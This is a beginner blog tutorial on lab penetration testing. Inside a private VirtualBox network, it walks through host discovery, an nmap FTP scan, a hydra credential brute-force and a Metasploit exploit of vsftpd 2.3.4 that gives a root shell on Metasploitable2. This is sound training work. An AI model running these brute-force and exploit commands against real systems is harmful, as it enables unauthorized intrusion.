Unlocking the Network’s Secrets: A Thrilling Journey into Network Penetration Testing

Serhii K
System Weakness
Published in
4 min readMay 8, 2024

--

Ever feel like you’re lost in the labyrinth of networking? Don’t worry, you’re not alone! It’s like trying to untangle spaghetti while blindfolded. But fear not, because in this wild world of IT, you don’t have to be a networking ninja to land that dream job. However, having a knack for it can definitely put you ahead of the pack.

In this series, I’m going to be your guide through the dark alleys of networking, armed with nothing but my trusty home lab. Picture it as our own little Batcave, where we’ll uncover the secrets of network penetration testing. Whether you’re gunning for a cybersecurity gig or aiming to be the next network guru, these insights are going to be your secret weapon.

But before we embark on this epic journey, let’s make sure you’ve got the essential in your IT utility belt. You’ll need VirtualBox, Kali Linux (the hacker’s Swiss Army knife), and our very own Metasploitable2 — the ultimate playground for aspiring hackers.

And hey, just one last tweak before we dive headfirst into the abyss of bits and bytes:

  1. launch the command prompt and go to:
    C:\Program Files\Oracle\VirtualBox
    followed by :
    vboxmanage dhcpserver
    add network=[your_network_name]
    server-ip=10.35.1.1
    lower-ip=10.35.1.100
    upper-ip=10.35.1.125
    netmask=255.255.255.0
    enable

2. fire up VirtualBox, head to Preferences, click on Network, and make sure you’ve got internal network selected. Trust me, it’ll make all the difference.

So, buckle up, because things are about to get seriously exciting!

First up, let’s shine a spotlight on our network with a little command-line magic. Fire up your terminal and unleash:

sudo netdiscover -r 10.35.1.0/24

This nifty little command will reveal all the machines on our network, except for our own, of course.

If you’ve been paying attention in your online courses, you’ll know that FTP loves to hang out on port 21. So, armed with our trusty nmap, let's give it a whirl!
Type in and watch in awe as the details unfold before your very eyes:

nmap -p21 -sV 10.35.1.117

Smooth as silk, isn’t it?

Now, here comes the fun part. We’re going to take a less glamorous route and get down and dirty with a file called secret.txt. Yup, we're going old-school. Fire up your text editor, touch that file into existence, and let's type down a few lines. One at a time, mind you. We're building suspense here.

With our secret.txt in hand, it’s time to unleash the beast — hydra!
This little tool is the reason why having a strong password is non-negotiable!
Brace yourself and type in:

hydra -L secret.txt -P secret.txt 10.35.1.117 ftp

And just like that, we've cracked the code.
User: user
Password: user

But wait, there’s more!
Let’s dive back into the depths of nmap and uncover even more juicy details.

With just a simple scan, we can not only identify the service running on a particular port but also its exact version. Talk about peeling back the layers of the digital onion!

Now, I know what you’re thinking — did somebody mention Metasploit? Well, even if they didn’t, we’re going there anyway! Because why not, right?

To see if our target has any vulnerabilities worth exploiting, let’s fire up our trusty searchsploit. Type in searchsploit vsftpd 2.3.4 and watch as it scours the depths of the internet for any known exploits.

Now, brace yourself for another thrilling intermission! For the sake of simplicity (and maybe a touch of laziness), I’m going to condense our entire attack into a handy script. Yup, we’re taking efficiency to a whole new level.

# Welcome to the Metasploit playground
msfconsole
# Let's see what exploits we have for vsftpd 2.3.4
search vsftpd 2.3.4
# Found one that looks promising? Let's use it
use 0
# Now, let's set the parameters required for our exploit
show options
# Time to define our target
set rhost 10.35.1.117
# Launch!
exploit
# Now, sit back, relax, and wait for the magic to happen.

And there you have it! Your humble terminal transforms into a gateway of power. To confirm your newfound supremacy, simply type whoami and revel in the glory of your root privileges.

It's a hacker's paradise out there, and you're just getting started!

--

--

0 Followers

Cybersecurity Enthusiast | Aspiring Ethical Hacker | Web Application Security Learner